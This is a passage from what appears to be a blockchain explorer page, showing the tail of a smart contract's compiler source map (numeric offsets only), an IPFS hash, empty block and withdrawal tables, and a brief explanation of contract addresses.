:6:0;140:10;2138:22;2130:67;;;;-1:-1:-1;;;2130:67:0;;4031:2:1;2130:67:0;;;4013:21:1;;;4050:18;;;4043:30;4109:34;4089:18;;;4082:62;4161:18;;2130:67:0;3829:356:1;2130:67:0;2316:6:::1;::::0;2295:40:::1;::::0;2332:1:::1;::::0;-1:-1:-1;;;;;2316:6:0::1;::::0;2295:40:::1;::::0;2332:1;;2295:40:::1;2346:6;:19:::0;;-1:-1:-1;;;;;;2346:19:0::1;::::0;;2225:148::o;3360:104::-;3416:13;3449:7;3442:14;;;;;:::i;3840:175::-;3926:4;3943:42;140:10;3967:9;3978:6;3943:9;:42::i;4975:688::-;2076:6;;-1:-1:-1;;;;;2076:6:0;5031:10;:21;:41;;;;-1:-1:-1;5057:5:0;;;;:14;5031:41;5022:88;;;;-1:-1:-1;;;5022:88:0;;4031:2:1;5022:88:0;;;4013:21:1;;;4050:18;;;4043:30;4109:34;4089:18;;;4082:62;4161:18;;5022:88:0;3829:356:1;5022:88:0;5147:7;;5123:45;;5140:4;;-1:-1:-1;;;;;5147:7:0;-1:-1:-1;;5123:8:0;:45::i;:::-;5207:3;5181:23;5262;5207:3;5262:5;:23;:::i;:::-;5253:5;5238:12;;:20;;;;:::i;:::-;:48;;;;:::i;:::-;5221:65;;5297:15;5338;5330:5;5315:12;;:20;;;;:::i;:::-;:38;;;;:::i;:::-;5297:56;;5385:6;;;;;;;;;-1:-1:-1;;;;;5385:6:0;-1:-1:-1;;;;;5385:14:0;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5414:4;;;5373:61;;-1:-1:-1;;;5373:61:0;;-1:-1:-1;;;;;5414:4:0;;;5373:61;;;5053:34:1;;;;5428:4:0;5103:18:1;;;5096:43;5373:40:0;;;;;;;4988:18:1;;5373:61:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5366:4;:68;;-1:-1:-1;;;;;5366:68:0;;;-1:-1:-1;;;;;;5366:68:0;;;;;;5445:6;;;:22;5475:9;5494:4;5501:6;;5475:9;5528:7;2076:6;;-1:-1:-1;;;;;2076:6:0;;2011:79;5528:7;5537:21;:15;5555:3;5537:21;:::i;:::-;5445:114;;;;;;-1:-1:-1;;;;;;5445:114:0;;;-1:-1:-1;;;;;5623:15:1;;;5445:114:0;;;5605:34:1;5655:18;;;5648:34;;;;5698:18;;;5691:34;;;;5741:18;;;5734:34;;;;5805:15;;;5784:19;;;5777:44;5837:19;;;5830:35;;;;5539:19;;5445:114:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;5572:42;5590:4;5597:7;2076:6;;-1:-1:-1;;;;;2076:6:0;;2011:79;5597:7;5606;5572:9;:42::i;:::-;-1:-1:-1;;5616:5:0;:12;;-1:-1:-1;;5616:12:0;5624:4;5616:12;;;-1:-1:-1;5643:12:0;5630:10;:25;4975:688::o;4621:346::-;-1:-1:-1;;;;;4723:19:0;;4715:68;;;;-1:-1:-1;;;4715:68:0;;6389:2:1;4715:68:0;;;6371:21:1;6428:2;6408:18;;;6401:30;6467:34;6447:18;;;6440:62;-1:-1:-1;;;6518:18:1;;;6511:34;6562:19;;4715:68:0;6187:400:1;4715:68:0;-1:-1:-1;;;;;4802:21:0;;4794:68;;;;-1:-1:-1;;;4794:68:0;;6794:2:1;4794:68:0;;;6776:21:1;6833:2;6813:18;;;6806:30;6872:34;6852:18;;;6845:62;-1:-1:-1;;;6923:18:1;;;6916:32;6965:19;;4794:68:0;6592:398:1;4794:68:0;-1:-1:-1;;;;;4875:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;4927:32;;1439:25:1;;;4927:32:0;;1412:18:1;4927:32:0;;;;;;;;4621:346;;;:::o;6497:584::-;6595:7;:16;;-1:-1:-1;;;;;6595:16:0;;;-1:-1:-1;;;;;;6595:16:0;;;;;;;6613:10;:22;;;;;;;;;;;;;;;6658:5;;;;:13;;6595:16;6658:13;;6657:45;;-1:-1:-1;6677:7:0;;-1:-1:-1;;;;;6677:7:0;6696:4;6677:24;6657:45;:69;;;-1:-1:-1;2076:6:0;;6707:7;;-1:-1:-1;;;;;6707:7:0;;;2076:6;;6707:18;6657:69;6648:117;;;;-1:-1:-1;;;6648:117:0;;7197:2:1;6648:117:0;;;7179:21:1;7236:2;7216:18;;;7209:30;7275:34;7255:18;;;7248:62;-1:-1:-1;;;7326:18:1;;;7319:31;7367:19;;6648:117:0;6995:397:1;6648:117:0;6784:7;;-1:-1:-1;;;;;6784:7:0;6776:71;;;;-1:-1:-1;;;6776:71:0;;7599:2:1;6776:71:0;;;7581:21:1;7638:2;7618:18;;;7611:30;7677:34;7657:18;;;7650:62;-1:-1:-1;;;7728:18:1;;;7721:35;7773:19;;6776:71:0;7397:401:1;6776:71:0;-1:-1:-1;;;;;6866:23:0;;6858:71;;;;-1:-1:-1;;;6858:71:0;;8005:2:1;6858:71:0;;;7987:21:1;8044:2;8024:18;;;8017:30;8083:34;8063:18;;;8056:62;-1:-1:-1;;;8134:18:1;;;8127:33;8177:19;;6858:71:0;7803:399:1;6858:71:0;6942:31;6958:6;6966;6942:15;:31::i;:::-;-1:-1:-1;;;;;;6986:20:0;;;;;;:9;:20;;;;;:30;;7010:6;;6986:20;:30;;7010:6;;6986:30;:::i;:::-;;;;;;;;7053:9;-1:-1:-1;;;;;7036:35:0;7045:6;-1:-1:-1;;;;;7036:35:0;;7064:6;7036:35;;;;1439:25:1;;1427:2;1412:18;;1293:177;5930:559:0;6005:14;6082:4;6076:11;-1:-1:-1;;;6112:4:0;6105:80;6227:6;6220:4;6214;6210:15;6203:31;6275:4;6269;6265:15;6259:4;6252:29;6360:4;6354;6348;6342;6339:1;6332:4;6326:11;6319:5;6314:51;6386:7;6383:36;;;6412:4;6406:11;6396:21;;6383:36;-1:-1:-1;6466:15:0;;-1:-1:-1;6475:6:0;6466;:15;:::i;:::-;-1:-1:-1;;;;;6446:17:0;;;;;;;:9;:17;;;;;:35;;;;-1:-1:-1;5930:559:0;:::o;222:418:1:-;371:2;360:9;353:21;334:4;403:6;397:13;446:6;441:2;430:9;426:18;419:34;505:6;500:2;492:6;488:15;483:2;472:9;468:18;462:50;561:1;556:2;547:6;536:9;532:22;528:31;521:42;631:2;624;620:7;615:2;607:6;603:15;599:29;588:9;584:45;580:54;572:62;;;222:418;;;;:::o;645:131::-;-1:-1:-1;;;;;720:31:1;;710:42;;700:70;;766:1;763;756:12;700:70;645:131;:::o;781:315::-;849:6;857;910:2;898:9;889:7;885:23;881:32;878:52;;;926:1;923;916:12;878:52;965:9;952:23;984:31;1009:5;984:31;:::i;:::-;1034:5;1086:2;1071:18;;;;1058:32;;-1:-1:-1;;;781:315:1:o;1475:456::-;1552:6;1560;1568;1621:2;1609:9;1600:7;1596:23;1592:32;1589:52;;;1637:1;1634;1627:12;1589:52;1676:9;1663:23;1695:31;1720:5;1695:31;:::i;:::-;1745:5;-1:-1:-1;1802:2:1;1787:18;;1774:32;1815:33;1774:32;1815:33;:::i;:::-;1475:456;;1867:7;;-1:-1:-1;;;1921:2:1;1906:18;;;;1893:32;;1475:456::o;2125:247::-;2184:6;2237:2;2225:9;2216:7;2212:23;2208:32;2205:52;;;2253:1;2250;2243:12;2205:52;2292:9;2279:23;2311:31;2336:5;2311:31;:::i;:::-;2361:5;2125:247;-1:-1:-1;;;2125:247:1:o;2377:388::-;2445:6;2453;2506:2;2494:9;2485:7;2481:23;2477:32;2474:52;;;2522:1;2519;2512:12;2474:52;2561:9;2548:23;2580:31;2605:5;2580:31;:::i;:::-;2630:5;-1:-1:-1;2687:2:1;2672:18;;2659:32;2700:33;2659:32;2700:33;:::i;:::-;2752:7;2742:17;;;2377:388;;;;;:::o;2770:380::-;2849:1;2845:12;;;;2892;;;2913:61;;2967:4;2959:6;2955:17;2945:27;;2913:61;3020:2;3012:6;3009:14;2989:18;2986:38;2983:161;;3066:10;3061:3;3057:20;3054:1;3047:31;3101:4;3098:1;3091:15;3129:4;3126:1;3119:15;2983:161;;2770:380;;;:::o;3564:127::-;3625:10;3620:3;3616:20;3613:1;3606:31;3656:4;3653:1;3646:15;3680:4;3677:1;3670:15;3696:128;3763:9;;;3784:11;;;3781:37;;;3798:18;;:::i;4190:217::-;4230:1;4256;4246:132;;4300:10;4295:3;4291:20;4288:1;4281:31;4335:4;4332:1;4325:15;4363:4;4360:1;4353:15;4246:132;-1:-1:-1;4392:9:1;;4190:217::o;4412:168::-;4485:9;;;4516;;4533:15;;;4527:22;;4513:37;4503:71;;4554:18;;:::i;4585:251::-;4655:6;4708:2;4696:9;4687:7;4683:23;4679:32;4676:52;;;4724:1;4721;4714:12;4676:52;4756:9;4750:16;4775:31;4800:5;4775:31;:::i;5150:125::-;5215:9;;;5236:10;;;5233:36;;;5249:18;;:::i;5876:306::-;5964:6;5972;5980;6033:2;6021:9;6012:7;6008:23;6004:32;6001:52;;;6049:1;6046;6039:12;6001:52;6078:9;6072:16;6062:26;;6128:2;6117:9;6113:18;6107:25;6097:35;;6172:2;6161:9;6157:18;6151:25;6141:35;;5876:306;;;;;:::o

Swarm Source

ipfs://e5cd405247defd9d7b0ef1f220ca8d5f7a3fd35f020e2ba5740669a23360d0b9

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.